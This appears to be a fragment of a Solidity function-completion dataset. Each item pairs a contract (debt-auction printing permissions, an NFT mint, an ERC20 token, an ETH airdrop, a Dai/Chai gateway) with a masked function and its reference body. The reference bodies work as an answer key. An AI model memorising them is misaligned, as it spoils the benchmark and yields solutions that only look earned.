); protocolTokenAuthority.setOwner(address(0)); emit GiveUpAuthorityOwnership(); } // --- Permissions Utils --- /** * @notice Revoke permissions for both the current and the last debt auction house associated with an accounting engine * @param accountingEngine The address of the accounting engine whose debt auction houses will no longer have printing permissions */ function revokeDebtAuctionHouses(address accountingEngine) internal { address currentHouse = allowedSystems[accountingEngine].currentDebtAuctionHouse; address previousHouse = allowedSystems[accountingEngine].previousDebtAuctionHouse; delete allowedSystems[accountingEngine]; protocolTokenAuthority.removeAuthorization(currentHouse); protocolTokenAuthority.removeAuthorization(previousHouse); emit RevokeDebtAuctionHouses(accountingEngine, currentHouse, previousHouse); } // --- System Cover --- /** * @notice Cover a new system * @param accountingEngine The address of the accounting engine being part of a new covered system */ function coverSystem(address accountingEngine) external isAuthorized { require(!allowedSystems[accountingEngine].covered, "GebPrintingPermissions/system-already-covered"); address debtAuctionHouse = AccountingEngineLike(accountingEngine).debtAuctionHouse(); require( keccak256(abi.encode(DebtAuctionHouseLike(debtAuctionHouse).AUCTION_HOUSE_TYPE())) == keccak256(abi.encode(AUCTION_HOUSE_TYPE)), "GebPrintingPermissions/not-a-debt-auction-house" ); require(usedAuctionHouses[debtAuctionHouse] == 0, "GebPrintingPermissions/auction-house-already-used"); usedAuctionHouses[debtAuctionHouse] = 1; uint newWithdrawAddedRightsCooldown = addition(now, addRightsCooldown); allowedSystems[accountingEngine] = SystemRights( true, uint256(-1), 0, newWithdrawAddedRightsCooldown, address(0), debtAuctionHouse ); coveredSystems = addition(coveredSystems, 1); protocolTokenAuthority.addAuthorization(debtAuctionHouse); emit CoverSystem(accountingEngine, debtAuctionHouse, coveredSystems, newWithdrawAddedRightsCooldown); } /** * @notice Start to uncover a system * @param accountingEngine The address of the accounting engine whose auction houses will start to be uncovered */ function startUncoverSystem(address accountingEngine) external isAuthorized {<FILL_FUNCTION_BODY> } /** * @notice Abandon the uncover process for a system * @param accountingEngine The address of the accounting engine whose auction houses should have been uncovered */ function abandonUncoverSystem(address accountingEngine) external isAuthorized { require(allowedSystems[accountingEngine].covered, "GebPrintingPermissions/system-not-covered"); require(allowedSystems[accountingEngine].uncoverCooldownEnd > 0, "GebPrintingPermissions/system-not-being-uncovered"); allowedSystems[accountingEngine].uncoverCooldownEnd = 0; emit AbandonUncoverSystem(accountingEngine); } /** * @notice Abandon the uncover process for a system * @param accountingEngine The address of the accounting engine whose auction houses should have been uncovered */ function endUncoverSystem(address accountingEngine) external isAuthorized { require(allowedSystems[accountingEngine].covered, "GebPrintingPermissions/system-not-covered"); require(allowedSystems[accountingEngine].uncoverCooldownEnd > 0, "GebPrintingPermissions/system-not-being-uncovered"); require(allowedSystems[accountingEngine].uncoverCooldownEnd < now, "GebPrintingPermissions/cooldown-not-passed"); require( DebtAuctionHouseLike(allowedSystems[accountingEngine].currentDebtAuctionHouse).activeDebtAuctions() == 0, "GebPrintingPermissions/ongoing-debt-auctions-current-house" ); if (allowedSystems[accountingEngine].previousDebtAuctionHouse != address(0)) { require( DebtAuctionHouseLike(allowedSystems[accountingEngine].previousDebtAuctionHouse).activeDebtAuctions() == 0, "GebPrintingPermissions/ongoing-debt-auctions-previous-house" ); } require( either( coveredSystems > 1, now <= allowedSystems[accountingEngine].withdrawAddedRightsDeadline ), "GebPrintingPermissions/not-enough-systems-covered" ); usedAuctionHouses[allowedSystems[accountingEngine].previousDebtAuctionHouse] = 0; usedAuctionHouses[allowedSystems[accountingEngine].currentDebtAuctionHouse] = 0; coveredSystems = subtract(coveredSystems, 1); revokeDebtAuctionHouses(accountingEngine); emit EndUncoverSystem( accountingEngine, allowedSystems[accountingEngine].currentDebtAuctionHouse, allowedSystems[accountingEngine].previousDebtAuctionHouse ); delete allowedSystems[accountingEngine]; } /** * @notice Update the current debt auction house associated with a system * @param accountingEngine The address of the accounting engine associated with a covered system */ function updateCurrentDebtAuctionHouse(address accountingEngine) external isAuthorized { require(allowedSystems[accountingEngine].covered, "GebPrintingPermissions/system-not-covered"); address newHouse = AccountingEngineLike(accountingEngine).debtAuctionHouse(); require(newHouse != allowedSystems[accountingEngine].currentDebtAuctionHouse, "GebPrintingPermissions/new-house-not-changed"); require( keccak256(abi.encode(DebtAuctionHouseLike(newHouse).AUCTION_HOUSE_TYPE())) == keccak256(abi.encode(AUCTION_HOUSE_TYPE)), "GebPrintingPermissions/new-house-not-a-debt-auction" ); require(allowedSystems[accountingEngine].previousDebtAuctionHouse == address(0), "GebPrintingPermissions/previous-house-not-removed"); require(usedAuctionHouses[newHouse] == 0, "GebPrintingPermissions/auction-house-already-used"); usedAuctionHouses[newHouse] = 1; allowedSystems[accountingEngine].previousDebtAuctionHouse = allowedSystems[accountingEngine].currentDebtAuctionHouse; allowedSystems[accountingEngine].currentDebtAuctionHouse = newHouse; protocolTokenAuthority.addAuthorization(newHouse); emit UpdateCurrentDebtAuctionHouse( accountingEngine, allowedSystems[accountingEngine].currentDebtAuctionHouse, allowedSystems[accountingEngine].previousDebtAuctionHouse ); } /** * @notice Remove the previous, no longer used debt auction house from a covered system * @param accountingEngine The address of the accounting engine associated with a covered system */ function removePreviousDebtAuctionHouse(address accountingEngine) external isAuthorized { require(allowedSystems[accountingEngine].covered, "GebPrintingPermissions/system-not-covered"); require( allowedSystems[accountingEngine].previousDebtAuctionHouse != address(0), "GebPrintingPermissions/inexistent-previous-auction-house" ); require( DebtAuctionHouseLike(allowedSystems[accountingEngine].previousDebtAuctionHouse).activeDebtAuctions() == 0, "GebPrintingPermissions/ongoing-debt-auctions-previous-house" ); address previousHouse = allowedSystems[accountingEngine].previousDebtAuctionHouse; usedAuctionHouses[previousHouse] = 0; allowedSystems[accountingEngine].previousDebtAuctionHouse = address(0); protocolTokenAuthority.removeAuthorization(previousHouse); emit RemovePreviousDebtAuctionHouse( accountingEngine, allowedSystems[accountingEngine].currentDebtAuctionHouse, previousHouse ); } /** * @notice Propose a time after which a currently covered system will no longer be under the threat of getting uncovered * @param accountingEngine The address of the accounting engine associated with a covered system * @param freezeDelay The amount of time (from this point onward) during which the system can still be uncovered but, once passed, the system has indefinite printing permissions */ function proposeIndefinitePrintingPermissions(address accountingEngine, uint256 freezeDelay) external isAuthorized { require(allowedSystems[accountingEngine].covered, "GebPrintingPermissions/system-not-covered"); require(both(freezeDelay >= unrevokableRightsCooldown, freezeDelay > 0), "GebPrintingPermissions/low-delay"); require(allowedSystems[accountingEngine].revokeRightsDeadline > addition(now, freezeDelay), "GebPrintingPermissions/big-delay"); allowedSystems[accountingEngine].revokeRightsDeadline = addition(now, freezeDelay); emit ProposeIndefinitePrintingPermissions(accountingEngine, freezeDelay); } }
contract GebPrintingPermissions { // --- Auth --- mapping (address => uint) public authorizedAccounts; /** * @notice Add auth to an account * @param account Account to add auth to */ function addAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 1; emit AddAuthorization(account); } /** * @notice Remove auth from an account * @param account Account to remove auth from */ function removeAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 0; emit RemoveAuthorization(account); } /** * @notice Checks whether msg.sender can call an authed function **/ modifier isAuthorized { require(authorizedAccounts[msg.sender] == 1, "GebPrintingPermissions/account-not-authorized"); _; } // --- Structs --- struct SystemRights { // Whether this system is covered or not bool covered; // Timestamp after which this system cannot have its printing rights taken away uint256 revokeRightsDeadline; // Timestamp after which the uncover process can end uint256 uncoverCooldownEnd; // Timestamp until which the added rights can be taken without waiting until uncoverCooldownEnd uint256 withdrawAddedRightsDeadline; // The previous address of the debt auction house address previousDebtAuctionHouse; // The current address of the debt auction house address currentDebtAuctionHouse; } // Mapping of all the allowed systems mapping(address => SystemRights) public allowedSystems; // Whether an auction house is already used or not mapping(address => uint256) public usedAuctionHouses; // Minimum amount of time that we need to wait until a system can have unlimited printing rights uint256 public unrevokableRightsCooldown; // Amount of time that needs to pass until the uncover period can end uint256 public denyRightsCooldown; // Amount of time during which rights can be withdrawn without waiting for denyRightsCooldown seconds uint256 public addRightsCooldown; // Amount of systems covered uint256 public coveredSystems; ProtocolTokenAuthorityLike public protocolTokenAuthority; bytes32 public constant AUCTION_HOUSE_TYPE = bytes32("DEBT"); // --- Events --- event AddAuthorization(address account); event RemoveAuthorization(address account); event ModifyParameters(bytes32 parameter, uint data); event GiveUpAuthorityRoot(); event GiveUpAuthorityOwnership(); event RevokeDebtAuctionHouses(address accountingEngine, address currentHouse, address previousHouse); event CoverSystem(address accountingEngine, address debtAuctionHouse, uint256 coveredSystems, uint256 withdrawAddedRightsDeadline); event StartUncoverSystem(address accountingEngine, address debtAuctionHouse, uint256 coveredSystems, uint256 revokeRightsDeadline, uint256 uncoverCooldownEnd, uint256 withdrawAddedRightsDeadline); event AbandonUncoverSystem(address accountingEngine); event EndUncoverSystem(address accountingEngine, address currentHouse, address previousHouse); event UpdateCurrentDebtAuctionHouse(address accountingEngine, address currentHouse, address previousHouse); event RemovePreviousDebtAuctionHouse(address accountingEngine, address currentHouse, address previousHouse); event ProposeIndefinitePrintingPermissions(address accountingEngine, uint256 freezeDelay); constructor(address protocolTokenAuthority_) public { authorizedAccounts[msg.sender] = 1; protocolTokenAuthority = ProtocolTokenAuthorityLike(protocolTokenAuthority_); emit AddAuthorization(msg.sender); } // --- Math --- function addition(uint x, uint y) internal pure returns (uint z) { z = x + y; require(z >= x); } function subtract(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x); } // --- General Utils --- function either(bool x, bool y) internal pure returns (bool z) { assembly{ z := or(x, y)} } function both(bool x, bool y) internal pure returns (bool z) { assembly{ z := and(x, y)} } // --- Administration --- /** * @notice Modify general uint params * @param parameter The name of the parameter modified * @param data New value for the parameter */ function modifyParameters(bytes32 parameter, uint data) external isAuthorized { if (parameter == "unrevokableRightsCooldown") unrevokableRightsCooldown = data; else if (parameter == "denyRightsCooldown") denyRightsCooldown = data; else if (parameter == "addRightsCooldown") addRightsCooldown = data; else revert("GebPrintingPermissions/modify-unrecognized-param"); emit ModifyParameters(parameter, data); } // --- Token Authority Ownership --- /** * @notice Give up being a root inside the protocol token authority */ function giveUpAuthorityRoot() external isAuthorized { require(protocolTokenAuthority.root() == address(this), "GebPrintingPermissions/not-root"); protocolTokenAuthority.setRoot(address(0)); emit GiveUpAuthorityRoot(); } /** * @notice Give up being the owner inside the protocol token authority */ function giveUpAuthorityOwnership() external isAuthorized { require( either( protocolTokenAuthority.root() == address(this), protocolTokenAuthority.owner() == address(this) ), "GebPrintingPermissions/not-root-or-owner" ); protocolTokenAuthority.setOwner(address(0)); emit GiveUpAuthorityOwnership(); } // --- Permissions Utils --- /** * @notice Revoke permissions for both the current and the last debt auction house associated with an accounting engine * @param accountingEngine The address of the accounting engine whose debt auction houses will no longer have printing permissions */ function revokeDebtAuctionHouses(address accountingEngine) internal { address currentHouse = allowedSystems[accountingEngine].currentDebtAuctionHouse; address previousHouse = allowedSystems[accountingEngine].previousDebtAuctionHouse; delete allowedSystems[accountingEngine]; protocolTokenAuthority.removeAuthorization(currentHouse); protocolTokenAuthority.removeAuthorization(previousHouse); emit RevokeDebtAuctionHouses(accountingEngine, currentHouse, previousHouse); } // --- System Cover --- /** * @notice Cover a new system * @param accountingEngine The address of the accounting engine being part of a new covered system */ function coverSystem(address accountingEngine) external isAuthorized { require(!allowedSystems[accountingEngine].covered, "GebPrintingPermissions/system-already-covered"); address debtAuctionHouse = AccountingEngineLike(accountingEngine).debtAuctionHouse(); require( keccak256(abi.encode(DebtAuctionHouseLike(debtAuctionHouse).AUCTION_HOUSE_TYPE())) == keccak256(abi.encode(AUCTION_HOUSE_TYPE)), "GebPrintingPermissions/not-a-debt-auction-house" ); require(usedAuctionHouses[debtAuctionHouse] == 0, "GebPrintingPermissions/auction-house-already-used"); usedAuctionHouses[debtAuctionHouse] = 1; uint newWithdrawAddedRightsCooldown = addition(now, addRightsCooldown); allowedSystems[accountingEngine] = SystemRights( true, uint256(-1), 0, newWithdrawAddedRightsCooldown, address(0), debtAuctionHouse ); coveredSystems = addition(coveredSystems, 1); protocolTokenAuthority.addAuthorization(debtAuctionHouse); emit CoverSystem(accountingEngine, debtAuctionHouse, coveredSystems, newWithdrawAddedRightsCooldown); } <FILL_FUNCTION> /** * @notice Abandon the uncover process for a system * @param accountingEngine The address of the accounting engine whose auction houses should have been uncovered */ function abandonUncoverSystem(address accountingEngine) external isAuthorized { require(allowedSystems[accountingEngine].covered, "GebPrintingPermissions/system-not-covered"); require(allowedSystems[accountingEngine].uncoverCooldownEnd > 0, "GebPrintingPermissions/system-not-being-uncovered"); allowedSystems[accountingEngine].uncoverCooldownEnd = 0; emit AbandonUncoverSystem(accountingEngine); } /** * @notice Abandon the uncover process for a system * @param accountingEngine The address of the accounting engine whose auction houses should have been uncovered */ function endUncoverSystem(address accountingEngine) external isAuthorized { require(allowedSystems[accountingEngine].covered, "GebPrintingPermissions/system-not-covered"); require(allowedSystems[accountingEngine].uncoverCooldownEnd > 0, "GebPrintingPermissions/system-not-being-uncovered"); require(allowedSystems[accountingEngine].uncoverCooldownEnd < now, "GebPrintingPermissions/cooldown-not-passed"); require( DebtAuctionHouseLike(allowedSystems[accountingEngine].currentDebtAuctionHouse).activeDebtAuctions() == 0, "GebPrintingPermissions/ongoing-debt-auctions-current-house" ); if (allowedSystems[accountingEngine].previousDebtAuctionHouse != address(0)) { require( DebtAuctionHouseLike(allowedSystems[accountingEngine].previousDebtAuctionHouse).activeDebtAuctions() == 0, "GebPrintingPermissions/ongoing-debt-auctions-previous-house" ); } require( either( coveredSystems > 1, now <= allowedSystems[accountingEngine].withdrawAddedRightsDeadline ), "GebPrintingPermissions/not-enough-systems-covered" ); usedAuctionHouses[allowedSystems[accountingEngine].previousDebtAuctionHouse] = 0; usedAuctionHouses[allowedSystems[accountingEngine].currentDebtAuctionHouse] = 0; coveredSystems = subtract(coveredSystems, 1); revokeDebtAuctionHouses(accountingEngine); emit EndUncoverSystem( accountingEngine, allowedSystems[accountingEngine].currentDebtAuctionHouse, allowedSystems[accountingEngine].previousDebtAuctionHouse ); delete allowedSystems[accountingEngine]; } /** * @notice Update the current debt auction house associated with a system * @param accountingEngine The address of the accounting engine associated with a covered system */ function updateCurrentDebtAuctionHouse(address accountingEngine) external isAuthorized { require(allowedSystems[accountingEngine].covered, "GebPrintingPermissions/system-not-covered"); address newHouse = AccountingEngineLike(accountingEngine).debtAuctionHouse(); require(newHouse != allowedSystems[accountingEngine].currentDebtAuctionHouse, "GebPrintingPermissions/new-house-not-changed"); require( keccak256(abi.encode(DebtAuctionHouseLike(newHouse).AUCTION_HOUSE_TYPE())) == keccak256(abi.encode(AUCTION_HOUSE_TYPE)), "GebPrintingPermissions/new-house-not-a-debt-auction" ); require(allowedSystems[accountingEngine].previousDebtAuctionHouse == address(0), "GebPrintingPermissions/previous-house-not-removed"); require(usedAuctionHouses[newHouse] == 0, "GebPrintingPermissions/auction-house-already-used"); usedAuctionHouses[newHouse] = 1; allowedSystems[accountingEngine].previousDebtAuctionHouse = allowedSystems[accountingEngine].currentDebtAuctionHouse; allowedSystems[accountingEngine].currentDebtAuctionHouse = newHouse; protocolTokenAuthority.addAuthorization(newHouse); emit UpdateCurrentDebtAuctionHouse( accountingEngine, allowedSystems[accountingEngine].currentDebtAuctionHouse, allowedSystems[accountingEngine].previousDebtAuctionHouse ); } /** * @notice Remove the previous, no longer used debt auction house from a covered system * @param accountingEngine The address of the accounting engine associated with a covered system */ function removePreviousDebtAuctionHouse(address accountingEngine) external isAuthorized { require(allowedSystems[accountingEngine].covered, "GebPrintingPermissions/system-not-covered"); require( allowedSystems[accountingEngine].previousDebtAuctionHouse != address(0), "GebPrintingPermissions/inexistent-previous-auction-house" ); require( DebtAuctionHouseLike(allowedSystems[accountingEngine].previousDebtAuctionHouse).activeDebtAuctions() == 0, "GebPrintingPermissions/ongoing-debt-auctions-previous-house" ); address previousHouse = allowedSystems[accountingEngine].previousDebtAuctionHouse; usedAuctionHouses[previousHouse] = 0; allowedSystems[accountingEngine].previousDebtAuctionHouse = address(0); protocolTokenAuthority.removeAuthorization(previousHouse); emit RemovePreviousDebtAuctionHouse( accountingEngine, allowedSystems[accountingEngine].currentDebtAuctionHouse, previousHouse ); } /** * @notice Propose a time after which a currently covered system will no longer be under the threat of getting uncovered * @param accountingEngine The address of the accounting engine associated with a covered system * @param freezeDelay The amount of time (from this point onward) during which the system can still be uncovered but, once passed, the system has indefinite printing permissions */ function proposeIndefinitePrintingPermissions(address accountingEngine, uint256 freezeDelay) external isAuthorized { require(allowedSystems[accountingEngine].covered, "GebPrintingPermissions/system-not-covered"); require(both(freezeDelay >= unrevokableRightsCooldown, freezeDelay > 0), "GebPrintingPermissions/low-delay"); require(allowedSystems[accountingEngine].revokeRightsDeadline > addition(now, freezeDelay), "GebPrintingPermissions/big-delay"); allowedSystems[accountingEngine].revokeRightsDeadline = addition(now, freezeDelay); emit ProposeIndefinitePrintingPermissions(accountingEngine, freezeDelay); } }
require(allowedSystems[accountingEngine].covered, "GebPrintingPermissions/system-not-covered"); require(allowedSystems[accountingEngine].uncoverCooldownEnd == 0, "GebPrintingPermissions/system-not-being-uncovered"); require( DebtAuctionHouseLike(allowedSystems[accountingEngine].currentDebtAuctionHouse).activeDebtAuctions() == 0, "GebPrintingPermissions/ongoing-debt-auctions-current-house" ); if (allowedSystems[accountingEngine].previousDebtAuctionHouse != address(0)) { require( DebtAuctionHouseLike(allowedSystems[accountingEngine].previousDebtAuctionHouse).activeDebtAuctions() == 0, "GebPrintingPermissions/ongoing-debt-auctions-previous-house" ); } require( either( coveredSystems > 1, now <= allowedSystems[accountingEngine].withdrawAddedRightsDeadline ), "GebPrintingPermissions/not-enough-systems-covered" ); if (now <= allowedSystems[accountingEngine].withdrawAddedRightsDeadline) { coveredSystems = subtract(coveredSystems, 1); usedAuctionHouses[allowedSystems[accountingEngine].previousDebtAuctionHouse] = 0; usedAuctionHouses[allowedSystems[accountingEngine].currentDebtAuctionHouse] = 0; revokeDebtAuctionHouses(accountingEngine); } else { require(allowedSystems[accountingEngine].revokeRightsDeadline >= now, "GebPrintingPermissions/revoke-frozen"); allowedSystems[accountingEngine].uncoverCooldownEnd = addition(now, denyRightsCooldown); } emit StartUncoverSystem( accountingEngine, allowedSystems[accountingEngine].currentDebtAuctionHouse, coveredSystems, allowedSystems[accountingEngine].revokeRightsDeadline, allowedSystems[accountingEngine].uncoverCooldownEnd, allowedSystems[accountingEngine].withdrawAddedRightsDeadline );
function startUncoverSystem(address accountingEngine) external isAuthorized
/** * @notice Start to uncover a system * @param accountingEngine The address of the accounting engine whose auction houses will start to be uncovered */ function startUncoverSystem(address accountingEngine) external isAuthorized
90272
PiggiesOnTheFarm
mint
contract PiggiesOnTheFarm is ERC721Enumerable, Ownable { using Strings for uint256; string baseURI; string public baseExtension = ".json"; uint256 public cost = 0.02 ether; uint256 public maxSupply = 9999; uint256 public maxMintAmount = 20; bool public paused = true; bool public revealed = true; constructor( string memory _name, string memory _symbol, string memory _initBaseURI ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable {<FILL_FUNCTION_BODY> } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner() { revealed = true; } function setCost(uint256 _newCost) public onlyOwner() { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } }
contract PiggiesOnTheFarm is ERC721Enumerable, Ownable { using Strings for uint256; string baseURI; string public baseExtension = ".json"; uint256 public cost = 0.02 ether; uint256 public maxSupply = 9999; uint256 public maxMintAmount = 20; bool public paused = true; bool public revealed = true; constructor( string memory _name, string memory _symbol, string memory _initBaseURI ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } <FILL_FUNCTION> function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner() { revealed = true; } function setCost(uint256 _newCost) public onlyOwner() { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } }
uint256 supply = totalSupply(); require(!paused); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(supply + _mintAmount <= maxSupply); if (msg.sender != owner()) { require(msg.value >= cost * _mintAmount); } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); }
function mint(uint256 _mintAmount) public payable
// public function mint(uint256 _mintAmount) public payable
21785
EtherealToken
EtherealToken
contract EtherealToken is EtherealFoundationOwned/*, MineableToken*/{ string public constant CONTRACT_NAME = "EtherealToken"; string public constant CONTRACT_VERSION = "A"; string public constant name = "Test Token®";//itCoin® Limited string public constant symbol = "TMP";//ITLD uint256 public constant decimals = 0; // 18 is the most common number of decimal places bool private tradeable; uint256 private currentSupply; mapping(address => uint256) private balances; mapping(address => mapping(address=> uint256)) private allowed; mapping(address => bool) private lockedAccounts; function EtherealToken( uint256 initialTotalSupply, address[] addresses, uint256[] initialBalances, bool initialBalancesLocked ) public {<FILL_FUNCTION_BODY> } event SoldToken(address _buyer, uint256 _value, string note); function BuyToken(address _buyer, uint256 _value, string note) public onlyOwner { SoldToken( _buyer, _value, note); balances[this] -= _value; balances[_buyer] += _value; Transfer(this, _buyer, _value); } function LockAccount(address toLock) public onlyOwner { lockedAccounts[toLock] = true; } function UnlockAccount(address toUnlock) public onlyOwner { delete lockedAccounts[toUnlock]; } function SetTradeable(bool t) public onlyOwner { tradeable = t; } function IsTradeable() public view returns(bool) { return tradeable; } function totalSupply() constant public returns (uint) { return currentSupply; } function balanceOf(address _owner) constant public returns (uint balance) { return balances[_owner]; } function transfer(address _to, uint _value) public notLocked returns (bool success) { require(tradeable); if (balances[msg.sender] >= _value && _value > 0 && balances[_to] + _value > balances[_to]) { Transfer( msg.sender, _to, _value); balances[msg.sender] -= _value; balances[_to] += _value; return true; } else { return false; } } function transferFrom(address _from, address _to, uint _value)public notLocked returns (bool success) { require(!lockedAccounts[_from] && !lockedAccounts[_to]); require(tradeable); if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0 && balances[_to] + _value > balances[_to]) { Transfer( _from, _to, _value); balances[_from] -= _value; allowed[_from][msg.sender] -= _value; balances[_to] += _value; return true; } else { return false; } } function approve(address _spender, uint _value) public returns (bool success) { Approval(msg.sender, _spender, _value); allowed[msg.sender][_spender] = _value; return true; } function allowance(address _owner, address _spender) constant public returns (uint remaining){ return allowed[_owner][_spender]; } event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); modifier notLocked(){ require (!lockedAccounts[msg.sender]); _; } }
contract EtherealToken is EtherealFoundationOwned/*, MineableToken*/{ string public constant CONTRACT_NAME = "EtherealToken"; string public constant CONTRACT_VERSION = "A"; string public constant name = "Test Token®";//itCoin® Limited string public constant symbol = "TMP";//ITLD uint256 public constant decimals = 0; // 18 is the most common number of decimal places bool private tradeable; uint256 private currentSupply; mapping(address => uint256) private balances; mapping(address => mapping(address=> uint256)) private allowed; mapping(address => bool) private lockedAccounts; <FILL_FUNCTION> event SoldToken(address _buyer, uint256 _value, string note); function BuyToken(address _buyer, uint256 _value, string note) public onlyOwner { SoldToken( _buyer, _value, note); balances[this] -= _value; balances[_buyer] += _value; Transfer(this, _buyer, _value); } function LockAccount(address toLock) public onlyOwner { lockedAccounts[toLock] = true; } function UnlockAccount(address toUnlock) public onlyOwner { delete lockedAccounts[toUnlock]; } function SetTradeable(bool t) public onlyOwner { tradeable = t; } function IsTradeable() public view returns(bool) { return tradeable; } function totalSupply() constant public returns (uint) { return currentSupply; } function balanceOf(address _owner) constant public returns (uint balance) { return balances[_owner]; } function transfer(address _to, uint _value) public notLocked returns (bool success) { require(tradeable); if (balances[msg.sender] >= _value && _value > 0 && balances[_to] + _value > balances[_to]) { Transfer( msg.sender, _to, _value); balances[msg.sender] -= _value; balances[_to] += _value; return true; } else { return false; } } function transferFrom(address _from, address _to, uint _value)public notLocked returns (bool success) { require(!lockedAccounts[_from] && !lockedAccounts[_to]); require(tradeable); if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0 && balances[_to] + _value > balances[_to]) { Transfer( _from, _to, _value); balances[_from] -= _value; allowed[_from][msg.sender] -= _value; balances[_to] += _value; return true; } else { return false; } } function approve(address _spender, uint _value) public returns (bool success) { Approval(msg.sender, _spender, _value); allowed[msg.sender][_spender] = _value; return true; } function allowance(address _owner, address _spender) constant public returns (uint remaining){ return allowed[_owner][_spender]; } event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); modifier notLocked(){ require (!lockedAccounts[msg.sender]); _; } }
require(addresses.length == initialBalances.length); currentSupply = initialTotalSupply * (10**decimals); uint256 totalCreated; for(uint8 i =0; i < addresses.length; i++) { if(initialBalancesLocked){ lockedAccounts[addresses[i]] = true; } balances[addresses[i]] = initialBalances[i]* (10**decimals); totalCreated += initialBalances[i]* (10**decimals); } if(currentSupply < totalCreated) { selfdestruct(msg.sender); } else { balances[this] = currentSupply - totalCreated; }
function EtherealToken( uint256 initialTotalSupply, address[] addresses, uint256[] initialBalances, bool initialBalancesLocked ) public
function EtherealToken( uint256 initialTotalSupply, address[] addresses, uint256[] initialBalances, bool initialBalancesLocked ) public
70360
EthAirdrop
getEth
contract EthAirdrop is Ownable { uint256 public amountToSend; function() payable public {} function destroyMe() onlyOwner public { selfdestruct(owner); } function sendEth(address[] addresses) onlyOwner public { for (uint256 i = 0; i < addresses.length; i++) { addresses[i].transfer(amountToSend); emit TransferEth(addresses[i], amountToSend); } } function changeAmount(uint256 _amount) onlyOwner public { amountToSend = _amount; } function getEth() onlyOwner public {<FILL_FUNCTION_BODY> } event TransferEth(address _address, uint256 _amount); }
contract EthAirdrop is Ownable { uint256 public amountToSend; function() payable public {} function destroyMe() onlyOwner public { selfdestruct(owner); } function sendEth(address[] addresses) onlyOwner public { for (uint256 i = 0; i < addresses.length; i++) { addresses[i].transfer(amountToSend); emit TransferEth(addresses[i], amountToSend); } } function changeAmount(uint256 _amount) onlyOwner public { amountToSend = _amount; } <FILL_FUNCTION> event TransferEth(address _address, uint256 _amount); }
owner.transfer(address(this).balance);
function getEth() onlyOwner public
function getEth() onlyOwner public
40530
chaiGateway
etherTochai
contract chaiGateway is Ownable { Exchange DaiEx = Exchange(0x818E6FECD516Ecc3849DAf6845e3EC868087B755); Erc20 dai = Erc20(0x6B175474E89094C44Da98b954EedeAC495271d0F); Chai chai = Chai(0x06AF07097C9Eeb7fD685c692751D5C66dB49c215); address etherAddr = 0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee; constructor() public { dai.approve(address(chai), uint256(-1)); } function () public payable { etherTochai(msg.sender); } function etherTochai(address to) public payable returns(uint256 outAmount) {<FILL_FUNCTION_BODY> } function makeprofit() public { owner.transfer(address(this).balance); } }
contract chaiGateway is Ownable { Exchange DaiEx = Exchange(0x818E6FECD516Ecc3849DAf6845e3EC868087B755); Erc20 dai = Erc20(0x6B175474E89094C44Da98b954EedeAC495271d0F); Chai chai = Chai(0x06AF07097C9Eeb7fD685c692751D5C66dB49c215); address etherAddr = 0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee; constructor() public { dai.approve(address(chai), uint256(-1)); } function () public payable { etherTochai(msg.sender); } <FILL_FUNCTION> function makeprofit() public { owner.transfer(address(this).balance); } }
uint256 in_eth = msg.value * 994 / 1000; uint256 amount = DaiEx.trade.value(in_eth)(etherAddr, in_eth, address(dai), address(this), 10**28, 1, owner); uint256 before = chai.balanceOf(to); chai.join(to, amount); outAmount = chai.balanceOf(to) - before;
function etherTochai(address to) public payable returns(uint256 outAmount)
function etherTochai(address to) public payable returns(uint256 outAmount)
38657
TokenSwap
swapFor
